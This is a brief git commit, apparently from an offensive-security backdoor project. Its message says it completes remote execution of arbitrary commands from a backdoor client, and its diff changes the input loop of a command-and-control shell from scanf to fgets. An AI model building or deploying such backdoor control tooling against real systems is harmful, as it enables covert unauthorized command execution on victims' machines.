Completed execution of arbitrary commands sent from the backdoor client

This commit is contained in:
h3xduck
2022-02-18 04:06:18 -05:00
parent b68e01c057
commit 0e022a8385
6 changed files with 33 additions and 2 deletions

View File

@@ -162,7 +162,10 @@ void activate_command_control_shell(char* argv){
while(1){
char buf[BUFSIZ];
printf(""KYLW"c>:"RESET"");
scanf("%s", buf);
fgets(buf, BUFSIZ, stdin);
if ((strlen(buf)>0) && (buf[strlen(buf)-1] == '\n')){
buf[strlen(buf)-1] = '\0';
}
char msg[BUFSIZ];
strcpy(msg, CC_PROT_MSG);